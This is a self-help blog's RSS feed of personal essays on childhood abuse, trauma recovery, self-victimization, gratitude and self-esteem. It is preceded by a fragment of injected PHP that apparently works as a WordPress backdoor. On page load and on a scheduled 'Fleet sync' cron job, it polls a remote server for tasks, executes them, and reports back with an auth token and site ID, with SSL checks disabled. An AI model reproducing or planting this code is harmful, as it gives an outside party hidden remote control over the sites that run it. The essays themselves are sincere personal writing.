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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Self-Esteem Archives - Blissfully Healing https://blissfullyhealing.com/category/self-esteem/ In search of life, meaning, and balance Sat, 10 Jul 2021 12:44:13 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://blissfullyhealing.com/wp-content/uploads/2022/01/cropped-blissfully-healing-pinterest-profile-1-32x32.jpg Self-Esteem Archives - Blissfully Healing https://blissfullyhealing.com/category/self-esteem/ 32 32 139782009 6 Ways To Stop Playing The Victim And Empower Yourself https://blissfullyhealing.com/6-ways-to-stop-playing-the-victim-and-empower-yourself/ Wed, 16 Jan 2019 20:18:05 +0000 https://blissfullyhealing.com/?p=1197 People play the victim in their lives for many many reasons, but regardless of why you are, whether it’s to make yourself feel better, to justify someone’s abuse towards you, to manipulate others to get your way or to seek …

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]]> People play the victim in their lives for many many reasons, but regardless of why you are, whether it’s to make yourself feel better, to justify someone’s abuse towards you, to manipulate others to get your way or to seek people’s attention and sympathy; Self-victimization is actually a form of self-sabotaging behavior.  The only person who is truly hurting by your behavior is you.

Photograph by Christian Holzinger on Unsplash

Realizing that you are fabricating victimhood in your life is a big and important step towards taking control of your life and making peace with your present and past. It’s a gateway to a better you and a wonderful future, but this realization is just the first step.

Releasing self-victimization is a journey in itself. So what are some ways to begin the journey towards self-empowerment by releasing self-victimization?

1.Identify your self-limiting beliefs

This point it a really important one. What things are you telling yourself about yourself and others that are keeping you within the “I am the victim” mentality?

Here is where the work begins. You will need to actually pay attention to the stories you spin for yourself. Perhaps write them down over the course of a week and read them later to find your patterns.

For instance, if something happens to you, what do you focus on? Do you focus on what you think other’s have or haven’t done that made the situation bad for you? Do you consistently tell yourself that the reason you are in that particular situation is because an external circumstance caused it?

Spend conscious time paying attention to your mental stories and try to see how many of those stories are a result of childhood, media and societal programming.

Now, realize that all the brain is malleable, it’s always learning and changing, and anything learned, no matter how damaging, can be unlearned.

2.Resolve internal conflicts

Everyone has internal conflict. I have come to realize that majority of the time, it’s as a result of past experiences and toxic programming that cause a gap between who we are and who we think we are supposed to be.

A solid step towards walking away from a victim-hood story is facing those things that you fight yourself about and simply re-writing your story. Whether it’s a traumatic past or messages that have damaged your self-esteem and self-worth. Take those stories, analyze them so you may learn about yourself and re-write them for yourself.

Face the beliefs you have about yourself.

3.Shift your perspective into a positive outlook

A never ending story of how things are always going wrong in your life is a VERY DANGEROUS ONE to have. I should know. I have spent a good deal of my life wallowing in my misfortunes and the result of it was suicidal-ideation.

Not to say that my depression was only caused by focusing on the terrible nature of my life. (At least that is how I looked at it). No, my depression was caused by many things, but my life perspective did not help either. Within the tornadoes that brought me all the way to “maybe death is better”, focusing on just how terrible things were, and how things were always going wrong was adding tons of gasoline to a never ending fire

Shifting your perspective won’t solve the problem, it will improve the situation. Learn to look at the brighter side and focus on the roses instead of the thorns.

4.Take away your self given right to complain

Don’t complain. Do something about it.

When you complain you take away your capability to do something about it. It’s like breaking your own legs right before you go for a run. It’s self crippling behavior.

When you complain you make powerless about the matter. The only thing is, there is always something you can do about anything and everything. So shift your energy from complaining to learning about what you can do to improve your situation, and do it.

5.Realize that there is always something you can do about it

Regardless of the situation, there is always something you can do about it to make it better or tolerable. The decision may be challenging, you may lose friends, a job etc. But you will have made a decision that is right for you, even though others may not see it as such.

Whether you choose what is right for you or not, that is still a choice. Whether you choose to do something positive driven or nothing at all, that is still doing something about it.

Since you do something about it even when you don’t, you might as well make a conscious choice to actively and intently do something about it

6.Be frank with yourself about why you feel victimized

Now this is the hardest part. At least it was for me.

The biggest breakthrough will be the honest, vulnerable and truthful conversation/realization you have with yourself. It will require you to let go of your assumptions about who you are, what you are and who you think you are supposed to be.

I think the thing that makes it difficult for us to be real with ourselves are the expectations and labels we have of ourselves.

So go ahead and give yourself permission be human. Yes. Give yourself permission to be “less” than what you think you are, or what you think you are supposed to be.

It requires overcoming your own shame, fear and doubt. Accepting that you have flaws and downfalls doesn’t make your weak, mean, stupid, or whatever else you tell yourself. Nah. It actually make you stronger, wiser and a more valuable human being. Not that you are not already, you just need to acknowledge that being real with yourself will make it easier for you to create a beautiful relatonship with yourself and others.

Related Posts:

Why we need to accept life as it is
3 reasons your life is always turbulent and 3 ways to stop it


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]]> 1197 Why Making Peace With Your Past Is Important https://blissfullyhealing.com/why-making-peace-with-your-past-is-important/ Mon, 14 Jan 2019 18:57:43 +0000 https://blissfullyhealing.com/?p=1174 Well, the secret became that a part of me always asked the question why. Yet another part of me fought the question to appease the childhood programming, that we should never ask why because that would, in essence, be questioning …

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]]> Well, the secret became that a part of me always asked the question why. Yet another part of me fought the question to appease the childhood programming, that we should never ask why because that would, in essence, be questioning the will of God.

For the longest time, this became a continuous internal battle that wreaked havoc in regards to self-awareness and self-value.  Later when I finally decided that perhaps its time I face myself, my past and this particular internal battle, I realized that I wasn’t asking the question why so I may be defiant, I was asking the question why so I can understand.

john noonan
Photograph by John Noonan on Unsplash

Seeking Understanding:

I wanted to understand why I was sexually abused as a child; I wanted to ask why and how people found it easy to be demeaning, call me names, tell me I am ugly, I am nothing and I am not good enough etc; I wanted to ask why adults saw it fitting to beat me up as a child; the slap that made me pee on myself and left my ears ringing for days when I was 9, the full-on attack that led to a bleeding scratched back that I still have marks of to this day from when I was 11 etc; I wanted to know why someone could look me in eyes and tell me he would shoot me in the head, when he vowed before God and all our loved ones, to love, respect and protect me; I simply wanted to know why people could be so cruel when I had done nothing to deserve it.

In the search for why came despair. Fueling this despair was the feeling of helplessness. Things happened to me as a child and within my marriage that I had no control over, yet I have to live with the consequences of other people’s actions.

Living the Consequences of Other’s Actions:

I continued to feel victimized and helpless even though the events were in the past. The host of mental and physical ailments did not help either. I have a host of mental and physical chronic illnesses that are tied to childhood trauma and narcissistic abuse. The long list of PTSD, depression, disassociation, panic and anxiety attacks, non-epileptic seizures, autoimmune disease, and the list goes on. Sometimes a small trigger can take me under for days. For the most part, I lived with the understanding that there was nothing I could do about it, I just needed to do enough to survive.

Change Your Thoughts, Change Your Life:

After my divorce, I woke up for a slight second and realized that I did not want to survive anymore, I wanted to thrive. I realized that to be able to live the life that I have always dreamed of, do the things that I have always wanted to do, accomplish the grand task of changing the world, I needed to shift from being a victim to being a survivor, then from being a survivor to being a victor. I needed to work my way out of the “woe is me” mentality and simply do something about the things others have done to me and the consequences I live with.

It’s All A Choice:

A mentality change requires a conscious decision to choose. I had to choose between remaining stuck with what the past made me, or actively dealing with the skeletons in my closet in search of a better life.

Choosing to heal is a journey that requires a lot of effort. I don’t know what it is like to just have an ok/good day without doing a million and one things right in the first place.

A manageable day for me begins the afternoon before with a nap, leading into a night routine that sets me up for my ironclad morning routine and a host of pills to keep me functional, or barely functional. Not that all days are good, they are not. Most days are actually dreadful even with the routine. But now I live with the idea that I am no longer a victim and there is something I can do about it. I know with certainty that my actions are slowly changing my present and future.

This isn’t a day long journey, it’s a life-long journey that I will probably be on for a while. But I think it’s a better journey than the journey of consistently drowning with the effects of the past. Not to say that I do not occasionally drown when the past is triggered, I do. But with a changed mindset, dealing with my past has changed. Within those episodes when my past takes me for a ride, I realize that it’s a temporary ride and for the most part there is always something I can do about it.

So WHY? Why is it important to make peace with your past?

Because you will become a better person for it. You will no longer live within the clutches of what happened to you and you will no longer be at the mercy of your past. You will be at the mercy of your decisions and actions. Even in the situations that you are grabbed into the past, you will know that you can take steps to bring yourself back to the present.

The best part about making peace with your past is that you get to learn. You learn who you are and who you can be, and if you choose wisely and decide to go after your potential, you will shock yourself of just how much you are capable of.

As long as you are stuck in the past, as long as you choose to let the past dictate your present and your future, as long as you choose to remain a victim, life will never be what you want it to be. It will always be what others have caused it to be.

Related Posts:

6 ways to stop playing the victim and empower yourself
When letting go of the past is difficult
Why we need to accept life as it is


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]]> 1174 3 reasons your life is always turbulent and 3 ways to stop it https://blissfullyhealing.com/3-reasons-your-life-is-always-turbulent-and-3-ways-to-stop-it/ Mon, 07 Jan 2019 19:51:46 +0000 https://blissfullyhealing.com/?p=1112 Everyone can testify to having challenges in life. The poor, rich, young, old, healthy, sick, strong and weak. Everyone has obstacles to overcome. The true challenge in life isn’t that we have difficulties to face, its that we do not …

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]]> Everyone can testify to having challenges in life. The poor, rich, young, old, healthy, sick, strong and weak.

Everyone has obstacles to overcome. The true challenge in life isn’t that we have difficulties to face, its that we do not know how to effectively deal with them. We have not been given the information or the necessary training and tools to efficiently and gently deal with the circumstances that we face.

Gratitude
Photograph by Milada Vigerova on Unsplash

Personal experience:

I cannot say that my life has been a walk in the park, it has not.

I also don’t think that everyone else’s lives have been all about rainbows and candy canes. For the most part, my life has been filled with turbulence, storms, hurricanes, and earthquakes.

I never understood and still don’t understand the nature of my life, but I know that each chapter, regardless of how painful and challenging, has a purpose greater than itself.

The most important concept that has helped me change how I live the turbulence in my life is the fact that I can make choices and changes that will empower how I interact with the thunderstorms and floods.

I know that I cannot change the external circumstances of my life, but I can change how I interact with life.

1.Living with a should mentality:

Living in the constancy of “should” makes it impossible for you to simply ‘be’. The concept of should takes away the very important value of being enough.

The biggest downfall in most people’s lives is their mentality.

How you think affects how you act, which affect how you live. Your mentality makes or breaks the quality of your life.

For example: If you are constantly thinking that you should be 120 pounds and you are currently 145 pounds, your weight is simply not good enough, you will take the time and effort to sell yourself reasons why your weight (thus you) are not good enough. Then, you will project images and ideas of how perfect you will be when you lose the weight and finally have the body that you “should” have.

This is a destructive concept that is applied to all aspects of life; ourselves, cars, houses, spouses, careers, wealth etc.

For most people, the gap between reality and “should” is the biggest source of stress, discontent, depression, and anxiety.

Solution:

Start focusing less on what “should be” and put more focus on “what is”.

When you truly understand what is, and accept it for what it is, life becomes simpler, more pleasant and worthwhile.

Tools:

Meditation:

Learning how to meditate will help you learn how to accept what is. There are many benefits to meditation, although, the most beneficial aspect to me has been the ability to observe things as they are and accept them for what they are.

Accepting life as it is now has changed how I value myself and the journey of life.

Meditation will function as a bridge for you as you work to close the gap between expectations and realities of who you are, what you have, and where you are in life.

2. Expecting and demanding more than you are capable of:

This brings about the important concept of simplicity.

We live in a world of things, manufactured by things, for things. We are taught early in life to want and acquire as many things as possible whether we are capable of affording them or not.

Well, if we are not able to afford it now, we can do one of two things, or possibly both things. We can either borrow (live on credit) to keep up with the Jones’s, or we can break our backs becoming rich so we can get the stuff. And when we do get rich, we can also live on credit while breaking our backs to keep up with the Kardashians.

The idea becomes, the more the merrier. The only problem with that advice is that the true nature of life is actually, the less, the better.

You do not need a 3 bedroom house that is $200,000 above your budget if it’s only a family of 2. You also do not need 3 cars, 1 motorcycle, and a moped for those same 2 people.

You also do not need the $500 shoes, or suit, or the daily Starbucks drinks that cost you hundreds of dollars over your budget every month.

The things you need are simple, very basic, and when you look into it, you will find that you already have them. Perhaps not in the way that you want, but you will realize that you have what you need, and sometimes not what you want.

…And that is O.K.

There is nothing wrong with not having what you want. We are in a greed-driven global society that sells wants as needs and basic needs as poverty. Which creates a sense of shame around not having what everyone else has.

Solution:

You should understand that having the basics is enough to make you content and happy, and that should be enough. This becomes a matter of need vs. want. Learn to live within your means and needs and find solace with that.

Tools:

Create a want vs need list:

Try to think of things in a want vs. need manner. Is it a want based on external expectations or is it a need for a valuable existence?

Sometimes it could be difficult to decide based on a want vs. need rubric, but, if want vs. need does not solve the problem, then bring in factors such as finances, space, the stress involved to acquire the item/s etc.

The basic idea of this exercise is to simplify your life. Put more focus on your needs rather than your wants. Especially if your wants are to live up to expectations.

Hopefully, this will get rid of the “if I don’t have what they have, I am nothing” mentality, and will build on concept 1 above by helping you let go of “shoulds” and simply find satisfaction with basics.

3.Living without gratitude

More, more, more, more, more. This is the global life slogan of the 21st century. More money, more clothes, more shoes, more gadgets, more cars, more houses. More, more, more,more.

The sad truth is that more isn’t better. A bigger source of sad news is that most people do not understand that the simple tool of gratitude breeds abundance.

What?!?! …… Yup!!!

Gratitude makes everything you have greater, better and feel like more than it actually is. So yes, gratitude breeds abundance.

Let’s unfold this concept for a moment before we move on to my point. Think for a second about something you feel is stressing you or you need to change, perhaps your apartment, car, clothes, career, whatever it is. Bring it to mind.

Now put on an imaginary set of glasses that can only see the good in that thing. Think about 5 good things and if you are having a hard time with this exercise, give it a second before giving up. For most people, a flood of negative aspects will come to mind first, causing frustration and sometimes anger.

…

Give it a second.

…

Let the flood of negative mental comments pass, (don’t try to fight them, just let the thoughts be). Now, think about the things you like about that thing. Regardless of how small or big the like is, list it. Now appreciate it for those things you listed.

If you cannot learn how to appreciate the little things, you will never be able to appreciate the bigger matters and aspects of life. And life will simply pass you by.

Solution:

1. Learn to practice active gratitude.

For example, If you are constantly complaining about where you live, actively change the circumstances that are not acceptable. So, declutter your house to create more space, sell a few of the couches to make more room for the kids to play or create an office space, or simply create a viable circumstance so you can move etc.

2.Develop an attitude of gratitude.

An attitude of gratitude will help you appreciate the things you have now, and teach you to cultivate a positive lens for the things that you do not have or like.

Everything has a good and a bad, what you choose to focus on will dictate the quality of your life and how you interact with the people, things and situations in your life.

An attitude of gratitude will teach you to value the good in life, and be actively patient with the bad.

Tools:

Gratitude journal:

I keep a gratitude journal where I write three things I am grateful for through my day. Sometimes they are deep concepts and other times, I am simply grateful to have a comfy bed after a day filled with inflammation and unexplainable aches and pains.

The things you are grateful for do not need to be groundbreaking ideas, they simply need to be the things that put a smile on your face or made you feel at ease that day.

Believe it or not, those things are there, it may be hard to notice them in the beginning of a gratitude practice, but with time and regular practice, the positives will be the main things you notice about your days.

Related Posts:

Why We Need to Accept Life As It Is

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]]> 1112 Why We Need to Accept Life As It Is https://blissfullyhealing.com/why-we-ought-to-accept-life-as-it-is/ Wed, 02 Jan 2019 17:51:13 +0000 https://blissfullyhealing.com/?p=937 Sometimes I spend hours trying to convince myself that this is my life.  Rather, I spend hours trying to accept that this is my life. As it is now. Perhaps it’s as a result of spending hours, or perhaps most of …

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]]> Sometimes I spend hours trying to convince myself that this is my life. 

Rather, I spend hours trying to accept that this is my life. As it is now.

Bruce Christianson on Unsplash

Perhaps it’s as a result of spending hours, or perhaps most of my conscious days refuting my life. I understand that I need to stop refuting my present, but I stand firm in refusing to accept that this will be it for the rest of my life.

Constant miseries followed by constancies of pain, agony, and despair.  It all seems like a never-ending cycle of doomed events.

The Bitter Present

I refuse to accept never-ending agonizing events, painful realities and normalized despair as the fate of the rest of my life. Although I have come to understand that I need and must accept it as my present existence. 

I spend so much time dreaming and daydreaming of the life I want and how I want it, and how it will be. Although that leaves me with a bitter taste in my mouth for the present as it exists.

I know that the future I dream of is not impossible. It is very possible and I know with the right game plan, dedication, and will to put in the effort required to acquire it, it will be.

This is my present and even though I don’t see it, it’s value is priceless. I just need to accept it, understand it and find the sweetness it has to offer before I become bitter for losing this too.

I have come to realize that spending most of my time trying to fix my present makes me lose all of its value. I try to run from it, hide from it and paint it what it is not and by doing so, I create heartbreaking circumstances, that create stress and havoc. By constantly refusing the present as it is, I create resistance that causes pain and difficulty.

Seeking Acceptance

Perhaps I simply need to accept my current circumstances as they are. Accept my present as it is and take the necessary steps to survive it. I know the future is bright, successful and free. But the present presents what it has to offer and it is in my best interest to accept what it’s offering with gratitude, openness and a legitimate action plan of how to get from where I am, to where I want to be. 

I want a life of freedom, adventure, and grounding. 

The future that I want is an investment, and I realize now that the future that I want requires the present that I have. My present circumstances are simply building blocks for the future I so much desire. There are actionable steps to get from here to there, and that is what I need to focus on, I need to learn how to anticipate and hope for the future without creating bitterness for the now.

As I am too busy trying to run from the present, I lose its precious moments. The moments that create meaning, the meanings that make life worth living.

My life is tough, and it has been so for as long as I can remember. But accepting it as it is, when it is, and allowing it to be as it is, when it is, gives me peace. Accepting the circumstance of my present suffering gives me present relief. 

••••

I have realized that my life right now requires contemplation and silence.

A bigger realization has been that silence around nature allows the mind and soul to observe the nature of its current circumstances and gives those circumstances space to take hold or leave. 

The more time I spend contemplating and writing, the clearer things become, the more value I find in the future I seek and the more elaborate and freeing silence becomes.

The present feels almost imprisoning. 

But accepting my circumstances as they are, and allowing them to be temporary gives space for finding peace while experiencing life as it is.

Related Posts:

When Letting Go of the Past is Difficult

Why making peace with the past is important

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]]> 937 When Letting Go of the Past is Difficult https://blissfullyhealing.com/when-letting-go-of-the-past-is-difficult/ Sat, 08 Sep 2018 17:28:01 +0000 https://blissfullyhealing.com/?p=928 I am having a hard time letting go of the past. It’s not like I’ve struggled with it before, this time it’s different.    The Body Remembers. Before, I would struggle with letting go in a very physical, painful, heart …

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]]> I am having a hard time letting go of the past.

It’s not like I’ve struggled with it before, this time it’s different. 

 

The Body Remembers.

Before, I would struggle with letting go in a very physical, painful, heart and gut-wrenching manner. As most people with trauma understand or will come to understand, trauma manifests itself in the body in various ways. As I struggled to emotionally release and let go of the past, my body just would not let go.

My body has not fully learned to let go of its past traumas, but breathing exercises, yoga, chiropractic (spinal subluxation) corrections, exercise, kickboxing, and dance are slowly getting me to the place I need to be.

Not to mention the efforts I put into the journey of understanding my chronic illness to find recovery and wellness. All these have become tools that are helping my body become more aware of itself and release what is no longer beneficial for it, which at the moment seems to be almost everything. 

 

Letting go
Daniel Jensen on Unsplash

Mental and Emotional Hang Ups

This time around, the difficulty of letting go is emotional and mental. Old ideas manifest themselves emotionally and make the past seem comfortable regardless of its trauma. 

Here, there is a fear of the unknown. 

As I work to accept my past, to reconstruct my present and redirect the direction of my future to a more positive, purposeful, intentional and freeing one, I struggle to let go of the comfort of knowing a turbulent life. 

I am Afraid of Letting Go

Even though I feel ready to let go and I am putting in the effort and work required to let go, my mind and emotions wonder about the validity of the type of life I seek and whether letting go of my past, it’s old ideas and its consequences is a good idea. 

To be fair with myself, I have been in the wallow of my past, it’s agonies, tribulations and the constant brace for impact for 27 years, that letting go and simply living, and enjoying life is creating backlash.

When you are born on a battlefield, trying to leave its destructive ways can be self-destructive in itself. Not in a bad way though, in the way that, when trying to make a change, get an improvement, or do major reconstruction, things always get worse before they get better.

 

When The Past Feels Safe

I have come to feel at ease with disease, difficulty, tension, trauma, and pain. Trying to reconstruct my life so I may live with ease, and simplicity makes me feel as though I am losing something precious and I ought to hold on forever. 

There is a part of me that feels as though it is about to get abandoned, forgotten and unimportant. This part of me that has been the most important for almost 3 decades, it learned to adapt to struggles and thrives in pain and is desperately hanging on to the past and it’s agonies because that is all it knows.

Being that this part of me has been the most dominant for so long, I understated why it may be feeling unappreciated by letting go of what makes it thrive.

 

Offering Myself Gratitude

I once mentioned to my chiropractor that I was having difficulties letting go of the past, and he advised me to offer gratitude to whatever part of me that is offering resistance. I then realized that I needed to thank that part of me that learned to survive and got me all the way to where I am now. 

Not that I am willing and ready to forget it and the massive contributions it has offered to my life. No. I am ready to offer it change, joy, ease and a more positive, fulfilling way of life and living.  

So I offer it gratitude as I slowly make steps out of the past into the present with the anticipation for a fantastic future. 

The part of me that wants healing, ease, joy, laughter, travel, exploration and the thrill of simply living is determined to make life worth living. No longer living to barely survive physically, emotionally, spiritually and financially, but living to find the beauty in silence, noise and everything in between. 

 

Giving Myself Space to Discover

For a good deal of time, I would look at my life and argue with it. I would always say, “this isn’t it, this can’t be the point of life”. And I was right, living in constant, pain, agony and fear isn’t living, it’s not even surviving, it’s drowning. And the worst part of it, it’s conscious drowning. You feel every pang, every pinch, and notice as your body convulses for air, until it gives up, and you watch as the light above the water disappears into the distance above, as the weight of your past slowly drags you to bottom. Then you learn to survive and thrive in the dark abyss of never-ending drowning.

As I continue to contemplate, write and converse with myself about letting go of the old to allow room for the creation of the new, I understand that there is healing, wisdom, and purpose in the process. And like most things, I just need to keep working on it, observe it’s progress and let the process finds it’s own destination at its own time.

Related Posts:

Why making peace with the past is important
Why we need to accept life as it is

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]]> 928 5 steps toward beauty self-esteem and self-approval https://blissfullyhealing.com/5-steps-toward-beauty-self-esteem-and-self-aaproval-beauty/ Tue, 26 Dec 2017 14:57:59 +0000 https://blissfullyhealing.com/?p=110  It  must be understood that self-esteem and self-approval is not a one day job, it is a long journey that requires patience and acknowledgement. It requires that you allow yourself time to grieve over your past hurts and accept them …

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]]>  It  must be understood that self-esteem and self-approval is not a one day job, it is a long journey that requires patience and acknowledgement. It requires that you allow yourself time to grieve over your past hurts and accept them as they are, forgive those who have hurt you, then begin to build something as a result of it. The steps I have given below are just the beginning of the journey. It is my belief that the first step towards dealing with any problem is acknowledging the problem. Below are steps to acknowledging the root cause of your emotions and sensation which lead to your beliefs and behaviors about yourself.

 

Photo by Guilherme Stecanella on Unsplash

 

Personal Experience: Beauty is in the eyes of the beholder: Self esteem and beauty

So, what steps can you take towards self-approval and self-esteem.

1.Pay attention to your self -talk about your features.

What do you say to yourself about your features when you walk past a mirror? or take a picture/selfie?. What do you say? Do you urge your friends or family to delete the picture because you do not like something in the way you look? Now take that as a opportunity to observe your insecurities and build from there. What is it about the captured moment of yourself that you did not like. Now write those down.

2.Pay attention to the sensations you get when someone comments on your features, or if you see someone’s features that you like, feel jealous or envious.

What are the emotions that you feel? and try to discover why. The best part about trying to discover how you feel about these things is finding the memory that is attached to those emotions and negative beliefs about yourself.  The feelings are usually feelings of vulnerability that will make you feel insecure about yourself, therefore you will get upset, feel irritated, jealous, envious, etc.

What is it about that person that made you feel that way? Is it their hair? face? etc, then turn to yourself and see how you feel about those features on yourself, then try to look back and see when those negative self beliefs began. That person is not the problem, I am sorry to tell you this, but you are.

You are too busy putting yourself down and believing negative things about yourself that when you see someone with what you consider beautiful or what you wish you had, you feel inferior.

Perhaps it is time that you acknowledge the beauty that you have, and you will no longer feel threatened with what others have, as a matter of fact, you will begin to appreciate what beauty you see in others. If beauty is in the eyes of the beholder, you need to learn to see beauty in yourself.

3. Contemplate your reactions.

After you have paid attention for about a week, now start asking yourself why. Why do you feel this way and what childhood or adult memories are attached to those emotions.

Now write them down.

Acknowledgement and understanding is the first step towards working out any problem, therefore understanding why you are doing something will make it much easier to solve the root of the problem by learning to forgive others, yourself and your past. Forgiving is a challenge, but its not a one time step, its a journey.

 

4.Allow yourself to be vulnerable with yourself.

It is important that you acknowledge your own weaknesses and your own faults. You do not need to mention them to anyone, but you cannot put a wall of protection against yourself as well. Protecting yourself against others is important. People are manipulative and if they knew where your vulnerabilities are, they would probably use them against you.

With that said, you do not need to hide yourself from yourself. 

Understand that you are not perfect and that is ok.

As a matter of fact, your imperfection is perfection in itself. So appreciate that you are not perfect because that gives you room to improve, it gives you the opportunity to become a better version of yourself on a daily basis.

 

5.Do things that you love

This may seem disconnected from the other steps, but doing things you love, improves your approval of yourself. Imagine for a second that you want to like someone, but they continuously do things that make you unhappy. Would you be able to foster approval or love towards that person or thing? No!

So I would advice that you pick 1 thing that you love per week, something that will make you smile, laugh or simply feel like yourself. If you no longer know what that feels like, perhaps it time you start rediscovering who you are. The more you discover who you are, the easier it will be to love yourself.

 

Discussion question:

What are some ways you have worked to improve your self esteem over the years?

 

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]]> 110 Beauty is in the eyes of the beholder: Learning to accept yourself https://blissfullyhealing.com/beauty-is-in-the-eyes-of-the-beholder-self-esteem-and-beauty/ Tue, 26 Dec 2017 14:55:43 +0000 https://blissfullyhealing.com/?p=109   The backstory: The words rang in my ears as my eyes probed out of my head in disbelief and my mouth gaped open, perhaps to gasp for the air that was succer punched out of my chest by her …

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]]>  

The backstory:

The words rang in my ears as my eyes probed out of my head in disbelief and my mouth gaped open, perhaps to gasp for the air that was succer punched out of my chest by her words. The sight was almost comicial. She passed around passing candy to each of our cousins with a statement. ” To my preetiest cousint” … “To my … cousin” …

and continued her journey weaving through the group that was crowded around a pool table. As she approached me, I remember laughter and comments about this and about other actions. But when she got to me, she handed me the candy and without a second thought said “…and to my ugliest cousin” then she looked almost as if the words were not her own and were taken out of her thought by an external force. I was shocked, actually, dismayed and all I can remember is hurt. I was hurt. The words rang through my ears as silence filled the room. Then she giggled it off, made a snarky comment and said that she was joking, and tried to pass a pretty comment my way and a partial fake hug. Although we all knew that the truth was her first statement to me. Perhaps I believed her too. It had been told to me in so many ways over time that I think I started to believe it myself. The comments were never as direct as she had said it in that moment, but the comments were still there. The “so and so is so much prettier than you”, “your chest is so flat compared to xyz”, “your hair is like steel wood, it can’t grow, it will never grow” “your have no hips” “your butt is too flat” “You have no shape, you are like a boy”, “your laugh is too loud, wierd, fake”, “your nose is too African, too fat, too flat, too round” “your lips are too large, too dark” “your too short” “your forhead is too big”

 

When numerous people repeatedly tell you the same thing over and over and over again, even if you didnt believe it before, you might and most certianly will begin to believe in their words.

 

Photo by Samuel Castro on Unsplash
Photo by Samuel Castro on Unsplash

 

Road to personal redemption

The statement that beauty is in the eyes of the beholder was one of the main reasons and ways I was able to walk back to a fairly put together person. As much as I could remember of my childhood, my beauty was always something for me to dread. I hated my hair, my nose, my cheeks, my eyebrows, my forehead, my eyelashes, my lips, my ears, my neck, my shoulders, my arms, my fingers, my stomach, my legs, my knees, my toes, my height. I mean, I seemed not to have a reason to love anything about myself, and anytime someone would make a positive comment about my features, I would feel extremely uncomfortable and out of place. As a matter of fact, it was almost instinctively that I would spend time un-believeing and un-telling myself what they had said.

 

So what is it about the saying that made me walk into the word of self-esteem development? It was the acknowledgement that everyone has their own opinion about how to perceive the exact same thing. So if someone did not think I was beautiful, someone somewhere does and will.

That was my spring board into the world of self esteem.

Then I began to realize that perhaps its not that people should believe and think I was beautiful. It was that I should believe and know that I am beautiful and that was the best part of discovering my personal beauty. Acknowledging that every aspect of me is perfect as it is and understanding that I would have probably been a very different person if anything was different, made me realize that the external consent of my beauty was not important, but rather the internal acknowledgement and approval of my features and chracteristics was the best part of the whole beauty charade.

 

The personal acknowledgement that you are beautiful is a powerful tool. The thoughts that stem from reminding yourself that you are beautiful, without fear of your own or of others’ criticism is more powerful than any external praise. These personal empowering thoughts makes the challenges faced while building self worth and self esteem much easier to handle and worth every second.

Related Posts:

5 steps toward beauty self-esteem and self-approval.

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